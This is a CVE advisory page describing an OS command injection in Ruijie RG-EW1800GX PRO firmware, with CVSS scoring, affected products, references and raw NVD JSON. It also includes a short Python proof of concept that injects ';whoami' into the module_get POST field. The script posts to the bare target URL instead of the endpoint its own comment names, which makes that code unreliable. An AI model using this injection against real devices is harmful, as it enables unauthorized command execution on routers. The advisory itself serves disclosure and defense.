Security Vulnerability Report
中文
CVE-2025-56122 CVSS 8.8 HIGH

CVE-2025-56122

Published: 2025-12-11 19:15:57
Last Modified: 2025-12-23 15:35:39

Description

OS Command Injection vulnerability in Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\(1\)b11p226:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300n_firmware:3.0\(1\)b11p300:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300n:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew1800gx_pro_firmware:1.022.3117:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1800gx_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = "http://target-ip/" # CVE-2025-56122 PoC - Ruijie RG-EW1800GX PRO Command Injection # Target endpoint: /cgi-bin/luci/;stok=<session>/admin/networkConnect/module_get # Note: Some versions may require authentication token # This PoC demonstrates the command injection in module_get parameter payload = { 'module_get': 'networkConnect;whoami' # Inject command: whoami } try: response = requests.post(target, data=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56122", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:57.493", "lastModified": "2025-12-23T15:35:38.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\\(1\\)b11p226:*:*:*:*:*:*:*", "matchCriteriaId": "158332AF-B2AC-41AD-A40D-6F638C654834"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7BCCEA-3446-4E6C-90F2-3B8B09BCAD5D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300n_firmware:3.0\\(1\\)b11p300:*:*:*:*:*:*:*", "matchCriteriaId": "C9F98B23-3599-49D9-BE66-EA0F16B5F3D9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300n:-:*:*:*:*:*:*:*", "matchCriteriaId": "A93FA907-462C-488D-93D9-AB74272071F3"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1800gx_pro_firmware:1.022.3117:*:*:*:*:*:*:*", "matchCriteriaId": "67EED0E7-A078-43BA-8FB6-D83EEA720273"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1800gx_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "EF398A3B-F92C-4104-8E8D-423BD387273F"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Eohr-0awt6VAuiLCNhCG0rgBLQip6nJpl-9Hy0OqB4MvFg?e=DIfBxi", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EZOBtzLwlmBKschv6sxT_LcBBKnMP_OXO7d24321UD8x8g?e=Dpui5j", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56122.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}